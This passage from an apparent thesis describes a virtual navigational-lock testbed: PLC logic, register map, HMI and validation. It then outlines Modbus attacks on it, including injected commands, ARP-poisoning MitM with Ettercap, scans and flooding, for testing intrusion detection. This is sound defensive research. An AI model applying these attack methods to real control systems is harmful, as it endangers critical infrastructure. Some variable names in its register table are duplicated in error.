reservoir water levels are equal and that the upper gate cannot open if the chamber and
tailwater are equal. For example, if the chamber water height is even with that of the
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tailwater, no water will flow through the emptying valve, regardless of if the lower gate is
open.

3.1.6 Emergency
Manual controls are included within the Simulink model to emulate the physical valves
and levels lock operators may use to manually open, close, or stop the valves and gates.
These are represented as switches in Simulink, allowing the model’s operator to toggle
them when the testbed is running.

Because physical overrides are not digitally

controlled, and therefore not hackable, these toggle switches receive no networked input.
Activating the emergency control for the valves causes the valve to freeze in
place; the switch used in the Simulink model is shown in Figure 18. One switch is used
for both valves, though this is easily changeable if the user decides to implement separate
shutoff overrides for each valve individually.

Figure 18: Toggle switch to manually freeze valve movement
Having the valves freeze when the emergency override is triggered means that the valves
can only move if the emergency switch is not triggered (and thus outputting a 0) and the
move command received digitally is a on (outputting a 1). The truth table for this
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arrangement is shown in Table 3, with an output of 0 meaning the valve does not move
and an output of 1 meaning it does. This logic is produced by performing an AND of the
override and move commands, then XORing this result with the move command.
Table 3: Truth table for valve movement
Emergency Override

Digital Move Command

Output

0

0

0

0

1

1

1

0

0

1

1

0

There are also two toggle switches for the gates: one to open and one to close, because in
some real-life systems, a large wheel can be turned. The switches for the upper gate are
shown in Figure 19; the switches on the lower gate are identical. The output from each
switch (either 0 or 1) is ORed with the digital command received to open or close the
valve, respectively. This way, if either the digital command or the emergency override
are 1 (to move), the gate will move. The speed of the gate is halved when it is moved
manually, as a person turning a crank would be less powerful than a motor.

Figure 19: The upper gate manual override switches
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3.1.7 Manual Warning
Prior to opening either the filling or emptying valves, the lock operator will activate the
warning horn to alert boaters that water will begin flowing.

This warning horn is

represented in the model by a display block that shows a one or zero based upon if the
horn is sounding or not; this is shown in Figure 20.

Figure 20: Code for the warning horn

3.2 Control Logic
The ladder logic for the navigational locks monitors sensor readings from the physical
system and passes them on to the HMI, verifies that commands from the HMI can be
executed,

and performs safety checks on received data. This control program was

developed by the author and colleague Shelton Wright as part of an as yet unpublished
project.
Because this program is designed to be used with OpenPLC, the default register
names and sizes are based upon those found in that system. The coil register addresses
used as digital outputs are labeled as QX, and holding registers, which are used for
analog outputs, are labeled QW. These have external read and write access. OpenPLC’s
discrete input registers are labeled IX and are used for digital inputs. Lastly, analog input
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registers are labeled IW. Both input registers are read only. These naming conventions
are summarized in Table 4 below and are expanded upon in [39].
Table 4:OpenPLC register names and types [39]
Register Type

Usage

Symbol

Access

Coil

Digital Output

QX

Read/Write

Holding

Analog Output

QW

Read/Write

Discrete Input

Digital Input

IX

Read Only

Input

Analog Input

IW

Read Only

Table 5 expands upon Table 2, shown in the previous section, by including the PLC
memory location for each value and its corresponding port number used for UDP
communication with the Simulink model, where applicable. These variable names will
be seen in screenshots further explaining the control logic code in the rest of this section.
The code used to program the PLC is included in standard text (*.st) form in Appendix A.
Table 5: PLC memory locations and corresponding port numbers
Variable name UDP Port

OpenPLC Address

Usage

ug_opcmd

22000

%QX0.0

Upper gate open command

ug_clcmd

22001

%QX0.1

Upper gate close command

ug_opcmd

22002

%QX0.2

Lower gate open command

ug_clcmd

22003

%QX0.3

Lower gate close command

ug_opcmd

22004

%QX0.4

Fill valve open command

ug_clcmd

22005

%QX0.5

Fill valve close command

ug_opcmd

22006

%QX0.6

Empty valve open command
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ug_clcmd

22007

%QX0.7

Empty valve close command

warn_btn

22010

%QX1.0

Warning horn

em_gt

22011

%QX1.1

Emergency gate stop

em_vlv

22012

%QX1.2

Emergency valve shut

rsrvr_eq

---

%QX1.3

Reservoir and chamber equal

tlwtr_eq

---

%QX1.4

Tailwater and chamber equal

dprel_rsvr

---

%QW0

Relative height of reservoir

flow_in

23000

%IW0

Chamber fill rate

flow_out

23001

%IW1

Chamber empty rate

ug_val

23002

%IW2

Upper gate position

lg_val

23003

%IW3

Lower gate position

uv_val

23004

%IW4

Fill valve position

lv_val

23005

%IW5

Empty valve position

dp_chmbr

23006

%IW6

Chamber depth

dp_revr

23007

%IW7

Reservoir depth

dp_tlwtr

23008

%IW8

Tailwater depth

ht_still

---

%IW9

Sill height

3.2.1 Upper Gate Command Check
The open and close commands for the upper gate are binary values stored in
digital output registers on the PLC. For both commands, a signal of value high, or one, is
active and low, or zero, is inactive. The variable to open the gates is stored as ug_opcmd
in register QX0.0, while the close variable is in register QX0.1 as ug_clcmd. The Upper
Gate Command Check ladder logic rung checks both the open and close commands for
the upper gate to ensure only one signal is being sent to the physical system, as both open
50

and close cannot be sent at the same time. This check is performed by applying an
exclusive-or (XOR) logical operation to both the open and close commands. The result
of this XOR is then fed as an input to independent AND logical operators for the open
and close signals. The result of the AND writes to the corresponding command’s coil. If
both commands are active, the XOR result will be false, leading to both AND gates being
false. This will in turn leave both commands off.
If the XOR is true, this means that only one of the two command signals is active.
Therefore, only one of the AND blocks will be true. In practice, this means that if both
open and close commands are set to high at the same time, the PLC will clear both
commands and wait for the next command to be given.
For safety, there are also negated contacts for the emergency gate command,
em_gt, present behind the open and close command contacts. If the emergency signal is
active, the logic will react in the same way as when both actual commands are high,
clearing both the open and close commands. This emergency signal binary value is
stored in register QX1.1. The ladder logic for the Upper Gate Command Check is below
in Figure 21.

Figure 21: Command check for upper gate
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3.2.2 Upper Gate Change Position
The Upper Gate Change Position rung uses sensor feedback from the physical system to
check the current position of the gate and compare that value, as an angle, to the constant
values for fully open (90°) or fully closed (7°). The value for the current gate position is
stored in register IW3 as ug_val. The value stored in the register is divided by 100 before
any operation occurs because the value was multiplied by 100 before being sent by the
physical model, as mentioned above in the Physical System description. When the value
of the gate’s current position is equal to or beyond the limit values, the corresponding
command is cleared.
If the gate’s position is in between the two limits, no action is taken and the
command values remain in their current state. To determine if the gate position is at one
of the limits, the position is compared to the values of the limits using logic blocks. For
fully open, the LT block is used to check if the gate position is less than 90°. If this is
true, the gate is not fully open and the open command remains at its current value. If the
comparison returns is false, the gate is fully open and the open command coil is cleared
to zero, as the gate cannot open any farther. The process is similar for closing the gate.
The value of the gate is checked by the GT block to check if it is greater than 7°. When
this lower limit is reached, the close command coil is cleared. This logic allows the
operator to give the desired open or close command without having to be concerned
about issuing a stop command, as this command will automatically be cleared when the
open or close limit is reached. The ladder logic is seen in Figure 22.
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Figure 22: Logic for upper gate position change
3.2.3 Lower Gate Command Check
The Lower Gate Command Check is identical in logic to the upper gate check. The open
command for the lower gate is stored in QX0.2 as lg_opcmd while the close command is
in QX0.3 as lg_clcmd. The same emergency signal, em_gt, is used for both the Upper
and Lower gate checks. Figure 23 shows the command check for the lower gate.

Figure 23: Command check for lower gate
3.2.3 Lower Gate Change Position
The Lower Gate Change Position ladder logic rung is identical in logic to that used to
change the upper gate position. The value for the current lower gate position is stored in
register IW3 as lg_val. This value is divided by 100 before being used in any logic
comparison. The logic for the lower gate position change is shown in Figure 24.
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Figure 24: Logic for lower gate position change
3.2.4 Filling Valve Command Check
The basic operation of the Filling Valve Command Check logic is very similar to the gate
command checks, as the open and close commands are XORed to confirm both have not
been pressed. However, because the emergency command for the valves is designed to
close the valve rather than simply stop movement, as with the gates, this logic rung
includes an additional OR operator. This OR block receives the output of the AND block
for the close command as well as the emergency valve command, em_vlv, as seen in
Figure 25. If either of these values are high, the close command will be set to high. This
added logic will close the valve if the emergency command is issued, regardless of what
other commands are currently active. The filling valve open and close commands are
stored as uv_opcmd and uv_clcmd in registers QX0.4 and QX0.5, respectively. The
binary emergency valve signal is in QX1.2.
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Figure 25: Command check for filling valve
3.2.5 Filling Valve Change Position
The Filling Valve Change Position logic is similar to the position changes of the gates,
but the valve position values are in percentages rather than degrees, with 100% being
fully opened and 0% being fully closed. The current value for the valve position is stored
in register IW4 as uv_val and is divided by 100 before being used in comparison. The
ladder logic for this rung is shown below in Figure 26.

Figure 26: Logic for filling valve position change
3.2.6 Emptying Valve Command Check
The Emptying Valve Command Check, seen in Figure 27, is identical in logic to the
aforementioned logic for the Filling Valve Command Check. The open command for the
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emptying valve is stored in register QX0.6 as lv_opcmd, with the close command in
QX0.7 as lv_clcmd.

The same emergency valve signal used to shut the fill valve,

em_vlv, is used in the emptying valve logic, as well.

Figure 27: Command check for emptying valve
3.2.7 Emptying Valve Change Position
The Emptying Valve Change Position logic is identical in logic to the Filling Valve
Change Position logic. The current emptying valve position is stored in register IW5 as
lv_vlv and is divided by 100 before comparison. Figure 28 shows this ladder logic rung.

Figure 28: Logic for emptying valve position change
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3.2.8 Reservoir Relative Height
The Reservoir Relative Height logic calculates the depth of the reservoir relative to the
floor of the chamber. For the upper gates to open, the reservoir and chamber water levels
must be equal. However, due to different floor elevations in the reservoir and chamber,
the actual water depths from floor to surface in the two areas may not be the same when
the water surfaces are equal. The sill height represents this difference in elevation, as
seen previously in Figure 2. Therefore, the sill height is added to the reservoir depth to
get the relative depth of the reservoir. When the sum of these two values is equal to the
chamber depth, the surfaces of the two areas are equal and the upper gate may be opened.
The sill height is stored in an analog input register IW9 as ht_still. The actual
reservoir depth received from the sensor in the physical model is stored in IW7 as
dp_rsrv. The relative depth of the reservoir to the chamber, dprel_rsvr, is stored in an
analog output register QW0. The ladder logic for this function is seen below in Figure
29.

Figure 29: Reservoir relative depth calculation
3.2.9 Depth Compare
The Depth Compare logic compares the depth of the chamber to both the tailwater depth
and the reservoir’s relative depth, then saves this value to be sent to the HMI. This
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allows the operator to know when the water surfaces are equal and thus if the upper or
lower gates can physically open. For both the relative reservoir depth and the tailwater
depth, an EQ block is used to compare that value to the chamber depth. If either value is
equal, the corresponding variable will be set to true.
The chamber depth is stored in register IW6 as dp_chmbr and the tailwater depth
in IW8 as dp_tlwtr. The calculated relative reservoir depth is saved as dprel_rsvr in
register QW0, as noted above.

The digital output indicating that the reservoir and

chamber depths are equal is in digital output register QX1.3 as rsrvr_eq. The output for
the chamber and tailwater comparison is tlwtr_eq in QX1.4.

The logic for this

comparison seen in Figure 30.

Figure 30: Depth comparison logic
3.2.10 Warning Timer
The Warning Timer takes the input of the manual warning button on the HMI and passes
it along to a physical system such as a horn. When the signal goes high, it passess
through a pulse timer where it remains high for three seconds. After this time, the
warning command is cleared. This allows the operator to press a button and have a
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warning horn sound and/or lights flash for three seconds when needed to alert ship
operators or nearby boaters. This warning is often used to signify that water will soon be
released from the locks into the tailwater. The digital output register for the warning
signal is QX1.0. The logic is seen below in Figure 31.

Figure 31: Manual warning logic
3.3 Human-Machine Interface
The HMI is the view the operator has of the system. The HMI contains displays and
commands that allow the operator to control and view feedback from the physical model
and PLC. A view of the entire HMI is seen below in Figure 32.
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Figure 32: Full HMI operator’s view
To preserve their significant figures, all depth values as well as gate and valve positions
were multiplied by 100 when leaving the physical model. To account for this, all of these
values are divided by 100 on the HMI server-side scripts. Similarly, the filling and
emptying flow rates are multiplied by 10 in the HMI in order to display the true value.
This HMI program is run on a free, open source platform called ScadaBR.
ScadaBR is run on a VM on the host machine, with the researcher accessing it via a web
browser. The following parts of this section detail the various commands and sensor data
accessible with this HMI screen.

The code used to set up the HMI in ScadaBR is

included in *.json form in Appendix B.
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3.3.1 Upper and Lower Gates
The commands to open the upper and lower gates are represented as a binary button on
the HMI. When the operator presses the button, the open command is sent to the PLC,
meaning a one is written to address QX0.1 in the PLC’s memory. Similarly, the Close
command is a binary button on the HMI which sends a binary value of one to the PLC.
The controls for the lower gate operate in the same manner. When a value is high, such
as when the open command for the lower gate is being executed, the corresponding LED
is lit.
The values shown to the right of the Upper Gate and Lower Gate labels are the
current positions of the gates. The value is shown as an analog display on the HMI with
units in degrees, 90° being fully open and 7° fully closed. Because the upper and lower
gates on the lock use miter gates, they close at an angle pointing upstream. This means
the gates will never be perpendicular to the sides of the locks and thus cannot have an
angle of zero. This position value is calculated and stored in the physical model and
passed on to the PLC for use in control logic, then sent to the HMI.
Figure 33 shows the portion of the HMI containing the upper and lower gate
commands.

Figure 33: Upper and lower gate commands and values
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3.3.2 Filling and Emptying Valves
Similar to the gates’ commands, the valves’ open and close commands are shown as
binary buttons on the HMI. When a valve is actively opening or closing, the LED above
the corresponding button is lit. The Filling Gate Value is calculated and stored in the
physical model and passed on the PLC and HMI. It is shown on the HMI in an analog
display as a percentage from 0% (fully closed) to 100% (fully open).
The fill rate shown in Figure 32 previously is the flow rate, in gallons per second,
of water entering into the chamber of the lock; the emptying rate is the flow in gallons
per second of water leaving the chamber. This value is calculated in the physical model
and available to the operator through the HMI as an analog display. The filling and
emptying rates, as well as valve positions and associated controls, can be seen in Figure
34.

Figure 34: Filling and emptying rates
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3.3.3 Water Depths
The water depths are represented as analog displays on the HMI. All three values, the
depths for the reservoir, chamber, and tailwater, come from sensor readings in the
physical model and are passed through the PLC. Note that the reservoir depth shown
does not account for the aforementioned sill height, meaning the reservoir depth shown is
the actual distance in feet from the floor to the water surface. The reservoir and chamber
depths will not be equal when their surfaces are equal and the upper gates can open. The
depth values are displayed with units of feet as seen in Figure 35.

Figure 35: Water depths displays on the HMI
3.3.4 Depth Compare
Reservoir Equal and Tailwater Equal are both binary values that are shown as binary
displays in the form of LEDs on the HMI. These LEDs are located in between the two
values being compared, as Figure 35 previously showed. These values are the results of
the Depth Compare block in the PLC. The LED between the reservoir and chamber
depth displays lights up when the water surfaces of the two are equal; otherwise, if
Reservoir Relative and the chamber depth are not equal, it is off. Likewise, Tailwater
Equal LED will only be high, or on, when the tailwater and chamber are the same depth.
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Sill Height is a constant in the physical model, and it is passed on to the PLC and
HMI. This value, the difference in floor elevation from the reservoir to the chamber, is
shown as an analog display on the HMI and is needed for calculations determining the
equality of water surface levels between the reservoir and chamber.
The Reservoir Relative variable is the relative, or adjusted, depth of the reservoir
compared to the chamber. This value is the sum of the sill height and the reservoir depth
that is calculated in the PLC. This value is shown as an analog display on the HMI, seen
in Figure 36 below.

Figure 36: Reservoir relative depth calculation
3.3.5 Emergency
Two emergency controls are available through the HMI. Both the Gates and Valves
emergency signals are triggered by separate binary buttons on the HMI. As discussed in
the PLC section, the emergency signal for the gates will cause both the upper and lower
gates to stop in their current position. The emergency button for the valves will send a
Close command to both the filling and emptying valves, cancelling any previous
commands either valve may have, then cause the valves to close. This will stop the flow
of water in and out of the chamber. Both emergency signals in the HMI can be seen
below in Figure 37.
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Figure 37: Emergency buttons for gates and valves
3.3.6 Manual Warning
The Warning Horn is shown as a binary button on the HMI, pictured in Figure 38. When
activated by the operator, this signal will be active for three seconds before being
cancelled automatically. This allows the operator to warn ships and people in the area
before gates or valves are moved. In the physical world, this signal would be tied to a
horn and/or lights.

Figure 38: Manual warning button
3.4 Connectivity
The connectivity for this model is shown in Figure 39, which also details the variables
passed among the three parts and their port numbers, memory addresses, and names.
This graphic was produced by Shelton Wright.
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Figure 39: Connectivity of the virtual lock components
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The physical model in Matlab Simulink communicates with the OpenPLC virtual
machine (VM) via UDP packets; this is the cyber-physical link noted in Figure 1. A
program on the VM converts UDP messages into Modbus messages, with the internet
protocol (IP) port of the incoming message signifying the PLC address being referenced.
For example, the upper gate’s position in Simulink is always sent to port 23002, and the
upper gate position is stored in IW2 in the PLC. Therefore, all packets sent to port 23003
from Simulink are translated by this conversion program to become Modbus messages
writing to address IW2.
To connect the PLC VM to the ScadaBR VM, Modbus TCP/IP traffic is sent
between the two machines. The ScadaBR portion runs on a VM, but its GUI is easily
accessible from an internet browser on the host computer. This network connectivity is
shown in Figure 40 below.

Figure 40: Network connectivity of the model

67

This setup is based largely on the modular SCADA testbed design described in [36]. It is
worth noting that on some Windows host computers, the firewall may need to be disabled
in order for these VMs to communicate properly.

3.5 Verification
In order for the virtual model to accurately represent the Soo Locks, and thus properly
show the effects of cyber attacks on lock operations and timing, the virtual model must
operate at speeds comparable to those of the Soo Locks. USACE’s Engineering Research
and Development Center (ERDC) has scaled-down physical models of many of its
systems, including the Poe Lock, the largest of the locks in the Soo Locks, at its Coastal
Hydraulics Lab (CHL). In order to verify the virtual model’s timing in opening and
closing gates, as well as filling and emptying the lock chamber, the virtual model’s
configurable dimensions were aligned to match those of the USACE’s Soo Locks. Then,
tests previously performed on the physical model were implemented on the virtual model
so that their results could be compared to those published by CHL to confirm the
accuracy of the virtual model. These tests are outlined below.
There are some hydraulic properties that are not accounted for in the virtual
model, such as hawser forces, which are the pull forces on cables attached to vessels
occupying the lock chamber. The effect of these forces is minimal and will not impact
the overall results of the effects of a cyber attack. However, the virtual model does not
need to show these details, which are of minor importance when demonstrating the
catastrophic effects a cyber attack on a lock could have. The pull on the ship’s ropes, for
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example, is of little concern if a hack renders the lock unable to open and the delivery of
hundreds of thousands of dollars of cargo is delayed [17].
3.4.1 Timing Comparison Points
The locks have two distinct sets of moving parts: the valves and the gates. The time
taken to fully open and close these parts is crucial to lock operation, and thus a
comparison of these times between the CHL model and the researchers’ virtual model
was used to determine the accuracy of the lock model. If the time to open the upper
valve in Simulink, for instance, was comparable to the time taken by the CHL scaled
down model, the virtual model was considered accurate in that regard. Researchers used
the percent deviation from the average times among the CHL model tests in [38] to
determine if the results of the virtual model were within an acceptable range.
Some of these timing values may be set directly in the Simulink model. For
example, there is a variable to set the valve times, which are the times taken to
completely open a valve from a fully closed position or vice versa. Though these values
may be programmed directly into the model, researchers still need to check that the
resulting valve times when the virtual model is run line up with those programmed.
Another set of comparison values, the time taken to fill or empty the lock chamber, is not
set directly in Simulink.

This particular value is computed completely within the

software based upon the lock’s capacity and the positions of the gates and valves.
A summary of the data points being compared between the CHL model and the
virtual model, as well as if they are set in Simulink as variables or computed entirely in
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software, can be found in Table 6 . All of these values are saved as times measured in
seconds.

Table 6: Comparison points used to validate the virtual model
Value

Settable as Variable?

Upper gate opening time

Yes

Upper gate closing time

Yes

Lower gate opening time

Yes

Lower gate closing time

Yes

Filling valve opening time

Yes

Filling valve closing time

Yes

Emptying valve opening time

Yes

Emptying valve closing time

Yes

Chamber fill time

No

Chamber empty time

No

Because the majority of the values can be set directly as variables, and thus will always
be equal to the user specified values, the results of these tests will not be discussed in
depth. When the filling valve close time was set to ninety-six seconds, for example, the
valve always closed in ninety-six seconds. The chamber fill and empty times, though,
had to be tested against the CHL model’s times in order to ensure that the chamber’s
water level changed in the correct amount of time for each given set of valve times.
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3.4.2 Results Under Normal Operation
The virtual model created for this research was tested against the “Plan A Design”
specifications listed in [38]. That document outlines the expected filling times for the
Soo Lock model in the CHL for five different valve times, as well as expected fill times
for other valve times based upon data trends. These valve times range in increments of
two from eight minutes to twenty minutes, with the exclusion of sixteen; it is unclear why
sixteen was omitted. Table 7 lists the average filling times for the CHL model, as well as
the average percent deviations, resulting from each valve time. It is important to note
that though three tests were run for each valve time, and the percent deviation is zero for
eighteen and twenty minute valve times, this does not necessarily imply that the fill time
is more predictable at higher valve times.
The virtual model was run once for each valve time, as well, with the fill time
listed in minutes in Table 7. The far right column of this table lists the percent deviation
from the average fill times found in the CHL model tests. All fill times produced by the
virtual model are within 1.6% of the average times produced by the CHL scale model.
Table 7: Valve times and the resulting average fill times for the Plan A Design on
both the CHL and virtual models
CHL

Virtual Model

Valve Time
(Minutes)

Average Fill
Time (Minutes)

Average
Percent
Deviation

Fill Time
(Minutes)

Percent
Deviation from
CHL Average

8

14.53

0.61%

14.4

0.9%

10

15.53

0.29%

15.4

0.86%

12

16.63

0.94%

16.4

1.4%
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14

17.2

0.78%

17.4

1.6%

18

19.2

0%

19.4

1.04%

20

20.3

0%

20.4

0.49%

Figure 41 shows the average times from the CHL scaled model tests compared to the
times produced by the virtual model.

Figure 41: Fill time comparison between CHL and the virtual model
The same validation approach was used for the chamber emptying times, with values
listed in Table 8 below. As with the filling times, an average percent deviation of zero
does not mean that the filling times for that valve time are more precise. The average
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deviation amongst all six CHL average times is 1.13%, while the virtual model times
only deviate an average of 0.8% from the CHL results they are emulating.

Table 8: Valve time and the resulting average emptying time for the Plan A
Design on both the CHL and virtual models [14]
Valve Time

CHL

Virtual Model

---

Average Empty
Time (Minutes)

Average
Percent
Deviation

Empty Time
(Minutes)

Percent
Deviation from
CHL Average

8

16.3

0%

16.48

1.1%

10

17.5

0%

17.48

0.11%

12

19.07

6.06%

18.48

.43%

14

19.97

0.22%

19.48

2.44%

18

21.3

0%

21.48

0.85%

20

22.47

0.49%

22.48

.06%

Figure 42 shows the average times from the CHL scaled model tests compared to the
times produced by the virtual model.
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Figure 42: Empty time comparison between CHL and the virtual model
Due to the design of the virtual model, the graphs of the chamber’s fill and empty times
for each valve time are perfectly linear, as shown previously in Figures 41 and 42. The
flow through the valve is calculated in the model by multiplying the percent the valve is
open by the lock area and the change in water level in the chamber (in feet per second).
This value, which is in cubic feet per second, is then multiplied by the constant
conversion rate for gallons of water to cubic feet of water in order to convert this flow
rate to gallons per second. This was shown previously in Equation 1.
For the verification tests discussed previously, the area of the lock was set to
121000 square feet, the area of the actual Poe Lock at the Soo Locks system in Michigan
[38]. The chamber fills approximately two minutes faster than it empties, as shown in the
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CHL results in [38], and this is accounted for in the water level change variable set in the
virtual model. For these tests, the chamber water level rose 0.00036 feet per second and
lowered at 0.0003 feet per second. While this approach and the equation in Equation 1
does not account for the decrease in flow as the water levels in the chamber and reservoir
or tailwater near equal, and thus does not perfectly represent a fill curve from a
hydraulics standpoint, the end fill time results are, on average, within 0.9% of the average
result times from the CHL model tests in [38]. Chamber depth curves for the virtual
model during filling and emptying of the locks with differing valve times can be seen in
Figures 43 and 44.

Figure 43: Chamber depth filling characteristics
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Figure 44: Chamber depth emptying characteristics
The virtual model’s times are calculated such that there are predictably linear changes
from one valve time to another, but the CHL models have some variance. For example, it
can be seen in Figure 44 that a valve time of fourteen minutes results in an emptying time
higher than the overall trend line for the CHL values. The fill and empty times for the
actual Soo Locks will vary based upon the size of the vessel inside the chamber, as well,
with larger ships causing greater water displacement. This variance is not represented in
this work’s virtual model.
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3.4.3 Results Under Attack
To illustrate that the virtual model was useful as a cybersecurity testbed, as well as to
show the effects of a network attack on the system, a basic command injection was
performed to alter the valve positions of the lock. An attack computer was added to the
testbed in the form of a Kali Linux VM. This VM is able to access the network between
the PLC and HMI, meaning it may be used to spoof data sent from one device to another.
In this proof of concept attack on the testbed, the attack VM sent a command to the PLC
without the lock operator’s knowledge in order to alter the state of the physical system in
a way that would cause a change in lock operation and lead to unexpected delays. This
attack setup is similar to that used later to perform attacks and test NIDS/IPSs.
To start, the lock chamber was set to its lowest point, to be even with the
tailwater. Under normal conditions, the filling valve was opened so that water would
enter the chamber and fill it until the water level is even with the reservoir. At this time,
the attack computer sent the command for the emptying valve to open, as well, so that
both valves began to open. When this emptying valve reached 20%, the attack computer
sent the command for the emptying valve to stop. The water level in the chamber would
continue to rise with water from the fill valve, but some of this water would leak out
through the emptying valve, resulting in a slower fill time.
This slower fill time causes a delay in lock operation, with it taking 3.1 additional
minutes to fill the chamber when the valve time is twelve minutes. This is shown in
Figure 45 below.
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Figure 45: Effect of injection attack on filling time with twelve minute valve time
This attack experiment was implemented again when the valve time was changed to
twenty minutes. This time, the partially opened emptying valve resulted in a filling time
delay of 3.8 minutes, as displayed in Figure 46.
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Figure 46: TEffect of injection attack on filling time with twenty minute valve time
The effects of these two tests show that a network attack, in this case an injection of a
command, causes measurable effects on this model of the physical lock system. This
portion of the virtual model can therefore be used to demonstrate other network attacks
and the ways in which they impact system functionality, including timing.
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CHAPTER FOUR

Network Attacks

In order to test the effectiveness of a variety of NIDS/IPSs, cyber attacks were created for
use against the virtual testbed. Attack types relevant to ICSs were chosen based upon
those found in tests described in papers read for the NIDS/IPS literature review; the
attack categories and descriptions are discussed in the first section of this chapter. The
author created a total of eleven attacks, all designed to target a PLC using Modbus
protocol. Each of the attacks designed for this research is outlined and discussed in the
second section of the chapter, followed by the results of each attack when implemented
against the unprotected model.
Please note that unless otherwise noted, numbers used in this section are decimal.
Hexadecimal values will be signified with a preceding “0x”.

4.1 Attack Choice Overview
In [41], Gao describes twenty-eight attacks against Modbus control systems. These are
broken into four attack classes: reconnaissance, response injection, command injection,
and denial of service [41]. Within these four categories, Gao lists twenty-eight specific
attacks that may be implemented against a CPS using Modbus. These attacks and their
relevance will be discussed in this section, as well as the merits of other attack varieties
used in NIDS/IPS testing in additional papers.
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In the following work, the two categories of injection attacks discussed in [41] are
condensed into a single MitM category, which has been expanded to also include
alteration attacks. Table 9 shows the three primary types of attacks and the number of
publications in which they are referenced within the ten works studied in the NIDS/IPS
literature review. These attack types will be further described below.
Table 9: Network attack types and the frequency with which they were found in
the literature review of NIDS/IPSs
Attack Type

Times Referenced

Reconnaissance

3

MitM, including injection and alteration

8

DoS

3

In reconnaissance attacks, the intruder does not modify or disrupt the system in any way;
the aim is only to gain information. This is usually done by eavesdropping on network
traffic or sending information queries to the device, though side-channel analysis may
also be used [40],[39],[41]. Reconnaissance is useful for planning attacks in which data
is to be injected into the system.
Three of the studied papers describing new NIDS/IPSs made reference to
reconnaissance attacks, with two of these papers offering a method with which to detect
them [39],[42]. In [41], the author describes five reconnaissance attacks. Included in
these are address and point scans, in which memory on the PLC is queried in order to
determine which addresses are in use and what they contain, respectively. In this work,
these two scans are combined so that the attack program requests to read a PLC address.
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Based upon the response, the attacker may then determine whether or not each address is
in use. If the PLC returns an error, that address is out of bounds; otherwise, the value
contained in the address is returned. The three other reconnaissance attacks in [41] were
not deemed relevant to this testbed’s setup, as they are designed to determine the type and
number of PLCs on the network, but may be added in future work to an expanded
testbed. In the tests described in this work, the assumption is made that the attacker is
already aware of the network configuration and type of PLC in use.
A Man in the Middle (MitM) attack is defined as a cyber attack in which an
attacker intercepts traffic sent between two parties and forwards the traffic to the intended
recipient while pretending to be the legitimate sender. In CPS MitM attacks, the attacker
uses their access to the CPS network to interfere with the sending and receiving of
legitimate packets between two nodes, such as the PLC and HMI. Attack types include
injection and alteration, which will be further described in the following paragraphs [43].
In a protocol that does not have authentication or encryption methods in use, such as
Modbus, these MitM attacks are easier to implement because the PLC does not have a
way to confirm that the messages received are from legitimate sources [44].
Injection attacks are a category of attacks performed when data is sent from the
intruder’s device, masquerading as a legitimate device, to a device on the network. This
includes command injection, in which the attacker tells the system to perform an action
that the legitimate controller or operator did not request [42]. An example of command
injection is an attacker sending a command to read a set of addresses within a PLC
register while spoofing the IP address of the HMI; the attacker’s goal is to make it appear
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as though the HMI sent this request. The attacks in this work use this approach of
sending false read requests.
An additional type of injection attack is response injection, where false data is
sent by the attack [45].

An example injection attack is an instance in which a rogue

device sends spoofed read request response values from the PLC, meaning the HMI will
receive and display incorrect data. Of the ten NIDS/IPS papers studied in the literature
review, seven mentioned command injection and four mentioned response injection
[2],[3],[24],[39],[42],[46],[47].
Alteration attacks, the second type of MitM attack implemented on the testbed
while comparing NIDS/IPSs, involve intercepting data sent over the CPS network and
modifying it prior to sending it to its originally intended destination [46]. By altering
legitimate commands instead of manufacturing commands, as seen in injection attacks,
the attacker can ensure that the addresses, signature, and header portions of the packet are
correct.

Implementing alteration attacks tested the NIDS/IPSs’ ability to recognize

commands and responses that are both wildly different from and within the bounds of
reasonable.
Ettercap was used to implement these alteration attacks [34]. Ettercap is a useful
tool for performing MitM attacks, as it has the capability to perform Address Resolution
Protocol (ARP) poisoning, a method of attack which can be implemented against
Ethernet based systems, such as those using Modbus [43].
Networks using Ethernet use ARP to match Media Access Control (MAC)
addresses with IP addresses [48]. Senders broadcast an ARP request in order to find the
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MAC address of the intended recipient; ideally, this recipient device will send an ARP
reply back, listing its MAC address. Once the sender receives and saves the MAC
address that matches the recipient’s IP address, it can transmit packets to that specific
device.
The Modbus protocol has no authentication method, and therefore no built-in way
to address spoofing [44]. In ARP poisoning, the attacker pretends to be the intended
recipient. When the attacker’s device sees the ARP request, it replies with its own MAC
address, thereby telling the sender that it is the intended recipient of messages to the
original recipient’s IP address.

Because the sender will cache this MAC and IP

combination, messages will be directed from the sender to the attacker’s device, allowing
the attacker to intercept packets. This method is used in alteration MitM attacks.
Of the twenty MitM attacks in [41], not all are applicable to the navigational lock
testbed and its current purpose. This research in this work is centered specifically around
attacks on the part of the CPS network between the PLC and HMI. Therefore, the attacks
in [41] which entail the modification of sensor and actuator readings occurring on the
cyber-physical link between the physical system and the PLC are not applicable to this
paper.

However, future work using an expansion on this testbed and/or IDS/IPSs

designed to protect against such threats may find these attacks in [41] beneficial for
testing.
Some of the MitM network attacks in [41] are applicable to the testbed scenario,
however. These attacks entail modifying the addresses accessed in requests sent to the
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PLC and injecting commands; both of these methods are implemented in the attacks used
in this paper’s research.
In a DoS attack, the attacker attempts to render the targeted device unreachable by
other devices on the network [57]. Two different methods were found in this literature
review to attempt to achieve this goal, and both types are represented in the sample attack
set used in this research. The first method is a combination of DoS and MitM in which
packets sent to or from the PLC are intercepted by the attack computer and subsequently
dropped.

This means that no traffic to or from the PLC will reach its intended

destination. This method cuts the PLC off from the rest of the network.
The second method found to make the PLC unreachable over the network entails
an attacker rapidly sending packets to the PLC in the hopes of overwhelming the device
by providing too much network traffic for it to process. This type of DoS is intended to
cause the PLC to lock up, rendering it unresponsive and useless [12]. This method is
sometimes referred to as “flooding” [12]. Three types of flooding attacks are mentioned
in [41], which describes flooding as when a malicious agent “to overwhelm the endpoint
by either sending transmissions faster than they can be processed or by sending packets
crafted to cause software errors.”
It is worth noting that five of the ten papers mentioned in the literature review
also discussed insider threat as a valid security concern in NIDSs. Insider threats occur
when someone who already has access to a system, such as an employee or contractor,
attempts to cause harm [42]. As previously mentioned, this is the scenario under which
the Maroochy attacks were implemented. For this reason, privilege escalation was not
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addressed by any of the chosen NIDS/IPSs; it was assumed for the sake of testing that the
attacker already has access to the CPS’s network.
Table 10 summarizes all of the attacks used in testing the selected NIDS/IPSs, as
well as the name by which they will be referenced in this paper.
Table 10: Listing of proposed attacks to implement in the testing of NIDS/IPSs, as
well as the attacks’ abbreviations
#

Category

Attack Name

Description

1

Recon

Query 1

Query all addresses to find which are in use

2

Recon

Query 2

Query select addresses to find which are in use

3

Injection (MitM)

Req. Inj. 1

